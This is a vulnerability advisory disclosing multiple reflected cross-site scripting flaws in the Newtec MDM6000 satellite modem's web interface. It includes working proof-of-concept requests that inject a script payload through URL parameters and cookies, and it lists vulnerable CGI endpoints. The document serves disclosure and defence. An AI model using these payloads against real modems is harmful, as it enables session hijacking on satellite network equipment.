Newtec Satellite Modem MDM6000 2.2.5 Cross Site Scripting

`  
Newtec Satellite Modem MDM6000 2.2.5 Cross-Site Scripting Vulnerability  
  
  
Vendor: Newtec Cy N.V.  
Product web page: http://www.newtec.eu  
Affected version: 2.2.5.67852  
2.2.4.64193  
1.3.8.56435  
  
Summary: The MDM6000 modem is typically installed at both ends  
of a point-to-point satellite link or at the remote sites of a  
star network. The unit can work as a modulator, demodulator or  
modem depending on the network configuration and integrates  
seamlessly with terrestrial IP networks and equipment. The modem  
is in full compliance with the DVB-S2 and DVB-S2X standards to  
achieve barrier-breaking efficiency at maximum service availability.  
  
Desc: Newtec Satellite Modem MDM6000 suffers from multiple reflected  
cross-site scripting vulnerabilities when input passed via several  
parameters to several scripts is not properly sanitized before being  
returned to the user. This can be exploited to execute arbitrary HTML  
and script code in a user's browser session in context of an affected  
site.  
  
Tested on: lighttpd/1.4.28  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5359  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5359.php  
  
  
20.06.2016  
  
--  
  
  
Payload: "><script>alert(1)</script>  
  
Params: value, args, URI.  
Cookie: ext-pogui-tasks, token.  
  
PoCs:  
  
GET /cgi-bin/pogui/view/validate/GuiTreeViewDecapsulationTSDecapsulation/Decapsulation-TSDecapsulation-DecapsulationPIDs/123?value="><script>alert(1)</script> HTTP/1.1  
GET /cgi-bin/pogui/view/execute/tasks/calibration-nonlinearequalink-manual?args="><script>alert(2)</script> HTTP/1.1  
POST /cgi-bin/pogui/auth/login"><script>alert(3)</script> HTTP/1.1  
Cookie: token=expert-8816866; ext-pogui-tasks=o%3a"><script>alert(4)</script>; ext-pogui-alarms=o%3A  
Cookie: token=expert-8816866"><script>alert(5)</script>; ext-pogui-tasks=o%3A; ext-pogui-alarms=o%3A  
  
  
Can be triggered in:  
  
/cgi-bin/pogui/auth/login  
/cgi-bin/pogui/view/alarms  
/cgi-bin/pogui/view/create/GuiTreeViewDecapsulationTSDecapsulation/Decapsulation-TSDecapsulation-DecapsulationPIDs  
/cgi-bin/pogui/view/execute/alarms/clearAllAlarmCounters  
/cgi-bin/pogui/view/execute/tasks/calibration-nonlinearequalink-manual  
/cgi-bin/pogui/view/GuiLedView  
/cgi-bin/pogui/view/GuiSynopticViewAUPCControllerDetailedView  
/cgi-bin/pogui/view/GuiTreeViewDeviceSetupControlPlaneEncapsulatorConfiguration  
/cgi-bin/pogui/view/synoptic  
/cgi-bin/pogui/view/update/GuiTreeViewEncapsulationTestTrafficGeneratorConfiguration/TestTrafficGenerator-Configuration-Enable  
/cgi-bin/pogui/view/update/GuiTreeViewDecapsulationTSDecapsulation/Decapsulation-TSDecapsulation-DecapsulationPIDs/123  
/cgi-bin/pogui/view/validate/GuiTreeViewDecapsulationTSDecapsulation/Decapsulation-TSDecapsulation-DecapsulationPIDs  
/cgi-bin/pogui/view/validate/GuiTreeViewDecapsulationTSDecapsulation/Decapsulation-TSDecapsulation-DecapsulationPIDs/123  
  
`